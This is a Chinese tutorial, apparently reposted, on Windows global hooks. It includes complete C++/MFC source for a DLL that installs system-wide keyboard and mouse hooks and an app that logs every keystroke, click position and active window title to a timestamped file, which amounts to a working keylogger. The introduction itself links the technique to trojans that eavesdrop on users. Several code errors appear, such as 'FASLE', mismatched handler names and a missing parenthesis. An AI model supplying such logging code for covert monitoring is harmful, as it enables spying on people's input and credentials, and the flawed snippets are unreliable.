全局钩子详解
(转)(测试通过)
监控程序的实现我们发现一些木马或其他病毒程序常常会将我们的键盘或鼠标的操作消息记录下来然后再将它发到他们指定的地方以实现监听.这种功能其他是利用了全局钩子将鼠标或键盘消息进行了截取,从而获得了操作的消息.要得到鼠标和键盘的控制权,我们要用SetWindowsHookEx这个函数:
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);
其中idHook是要安装的钩子标识即钩子的类型,lpfn是钩子函数的消息处理过程,hMod是应用程序的实例句柄,dwThreadId是要为哪个线程安装钩子.如果它为0则为全部线程都安装钩子,即为全局钩子.这就是获得全部应用程序消息控制权的开始.我们安装的钩子类型有很多种主要是下面的:
WH_CALLWNDPROCWH_CALLWNDPROCRETWH_CBTWH_DEBUGWH_FOREGROUNDIDLEWH_GETMESSAGEWH_JOURNALPLAYBACKWH_JOURNALRECORDWH_KEYBOARDWH_KEYBOARD_LLWH_MOUSEWH_MOUSE_LLWH_MSGFILTERWH_SHELLWH_SYSMSGFILTER
其中WH_MOUSE是鼠标钩子,WH_KEYBOARD是键盘钩子.
不同的钩子对应不同的钩子过程,钩子过程的写法(以键盘钩子过程为例)是:
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
);
钩子过程的名字是没关系的.
要取消钩子的安装可以用UnhookWindowsEx:
BOOL UnhookWindowsHookEx(
HHOOK hhk // handle to hook procedure to remove
);
下面要介绍一下如何让每个应用程序要安装上钩子函数,要让每个应用程序都安装上钩子要用到动态链接库的知识,利用动态链接库加载到每个应用程序中.
我们首先用VC6.0新建一个WINDOWS动态链接库的空工程,新建一个头文件为了动态链接库本身和使用动态链接库的应用程序也能用,我们定义好导入导出宏和自定义消息以及要导入和导出的函数的定义:
//HookDll.h
// 定义函数修饰宏,方便引用本DLL工程的导出函数
#ifdef KEYHOOKLIB_EXPORTS
#define KEYHOOKLIB_API __declspec(dllexport) //导出宏
#else
#define KEYHOOKLIB_API __declspec(dllimport) //导入宏
#endif
// 自定义与主程序通信的消息
#define HM_KEY WM_USER + 101 //自定义键盘消息
#define HM_MOUSE WM_USER +102 //自定义鼠标消息
// 声明要导出的函数
BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall,
DWORD dwThreadId = 0, HWND hWndCaller = NULL);
BOOL KEYHOOKLIB_API WINAPI SetMouseHook(BOOL bInstall,
DWORD dwThreadId = 0, HWND hWndCaller = NULL
下面再新建一个C++源文件HookDll.cpp:
我们先包含<windows.h>头文件
再定义#define KEYHOOKLIB_EXPORTS让包含"HookDll.h"的时候,我们使用的是导出宏,
#include "HookDll.h"
#pragma data_seg("YCIShared")
HWND g_hWndCaller = NULL; // 保存主窗口句柄
HHOOK g_hHook = NULL; // 保存钩子句柄
HHOOK g_hMouseHook=NULL;
#pragma data_seg()
我们上面定义了共享的全局窗口句柄和全局的钩子标识,是为了所有应用程序都共享这三个变量.
下面是钩子函数的实现代码:
HMODULE WINAPI ModuleFromAddress(PVOID pv) //获得钩子函数的地址
{
MEMORY_BASIC_INFORMATION mbi;
if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 键盘钩子函数消息过程
{
if(nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
if(lParam & 0x40000000) // 消息重复就交给下一个hook链
{
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
// 通知主窗口。wParam参数为虚拟键码, lParam参数包含了此键的信息
::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam); //发送自定义键盘消息
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安装、卸载钩子的函数
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if(bInstall)
{
g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc,
ModuleFromAddress(KeyHookProc), dwThreadId); //安装键盘钩子
bOk = (g_hHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
return bOk;
}
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠标钩子处理过程
{
if(nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//发送自定义鼠标消息
return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if(bInstall)
{
g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc,
ModuleFromAddress(MouseProc),dwThreadId); //安装鼠标钩子
bOk = (g_hMouseHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hMouseHook);
g_hMouseHook = NULL;
}
return bOk;
}
最后再在工程目录下建一个HookDll.def模块定义文件.写上以下代码
LIBRARY HookDll
EXPORTS //指明导出函数名称
SetKeyHook
SetMouseHook
SECTIONS //指明共享字段
YCIShared Read Write Shared
用了模块定义文件时,在使用动态链接库的时间就可以直接用函数名调用函数了,否则将无法找到函数.其实用模块定义文件是为了不让动态链接库发生名字改编.
有了动态链接库后我们还需要用一个应用程序来设置和记录我们的鼠标和键盘记录.
我们新建一个基于对话框的MFC应用程序工程HookApp.我们首先为我们的自定义消息添加所需消息响应的实现代码.
在对话框类的头文件的protected下面的注释宏中间加入
afx_msg longonHookKey(WPARAM wParam, LPARAM lParam);
afx_msg longonHookMouse(WPARAM wParam, LPARAM lParam);
指明消息处理函数,然后在对话框类的源文件中的
BEGIN_MESSAGE_MAP(CHookAppDlg, CDialog)
和END_MESSAGE_MAP之间加入下面的代码
ON_MESSAGE(HM_KEY,onHookKey)
ON_MESSAGE(HM_MOUSE,onHookMouse)
定义好后在源文件中写其实现函数:
long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam)
{
// 此时参数wParam为用户按键的虚拟键码,
// lParam参数包含按键的重复次数、扫描码、前一个按键状态等信息
char szKey[80];
::GetKeyNameText(lParam, szKey, 80); //获得按键名
CString strItem;
strItem.Format("用户按键:%s", szKey);
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));
pListCtrl->InsertString(-1,strItem);
CFile MyFile;
char *content;
if(!MyFile.Open(this->MyDocumentDir,
CFile::modeRead | CFile::modeWrite))
{
MyFile.Open(this->MyDocumentDir,
CFile::modeCreate);
return 0;
}
MyFile.SeekToEnd(); //移动记录指针到末尾
pListCtrl->GetText(pListCtrl->GetCount()-1,strItem);
content=strItem.GetBuffer(MAX_PATH);
MyFile.Write(content,strItem.GetLength());
CTime today=CTime::GetCurrentTime();
CString str=today.Format("\t\t%Y年%m月%d日 %H:%M:%S\r\n");
MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength());
MyFile.Close();
return 0;
}
long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam;
CString strItem,strText;
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));
CPoint point;
::GetCursorPos(&point);
ClientToScreen(&point);
CWnd *pWnd=CWnd::GetForegroundWindow();
if(pWnd)
{
char str[80];
pWnd->GetWindowText(str,80);
strText.Format("窗口:%s",str);
}
CString str;
/*CString tempstr;
// ClientToScreen(&pMouseHook->pt);
int x,y;
x=pMouseHook->pt.x;
y=pMouseHook->pt.y;
tempstr.Format("X=%d,Y=%d",x,y);
strText+=tempstr;*/
if(wParam==WM_RBUTTONDOWN)
{
str.Format(" 右键单击:位置 X=%d,Y=%d",point.x,point.y);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
if(wParam==WM_LBUTTONDBLCLK)
{
ScreenToClient(&point);
str.Format(" 左键双击:位置 X=%d,Y=%d",point.x,point.y);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
if(wParam==WM_LBUTTONDOWN)
{
str.Format(" 左键单击:位置 X=%d,Y=%d",point.x,point.y);
//MessageBox(strText);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
return 0;
}
void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl)
{
char *content;
CFile MyFile;
if(!MyFile.Open(this->MyDocumentDir,
CFile::modeRead | CFile::modeWrite))
{
MyFile.Open(this->MyDocumentDir,
CFile::modeCreate);
pListCtrl->InsertString(-1,"失败");
return;
}
MyFile.SeekToEnd();
content=strText.GetBuffer(strText.GetLength());
MyFile.Write(content,strText.GetLength());
CTime today=CTime::GetCurrentTime();
CString strTime=today.Format("\t\t%Y年%m月%d日 %H:%M:%S\r\n");
MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength());
MyFile.Close();
}
上面的代码就是实现将鼠标消息和键盘消息的操作消息添加到一个列表框中和记录到一个文件上的代码.其中this->MyDocumentDir是你要将操作消息记录到的文件路径.
在对话框初始化的时候
if(!SetKeyHook(TRUE,0, m_hWnd))
MessageBox("安装钩子失败!");
if(!SetMouseHook(TRUE,0, m_hWnd))
MessageBox("安装钩子失败!");
最后在
void CHookAppDlg::OnDestroy()
{
::SetKeyHook(FASLE);//取消安装钩子
::SetMouseHook(FALSE);//取消安装钩子
}
这是鼠标和键盘消息的监听代码,你也可以为应用程序安装其他类型的钩子.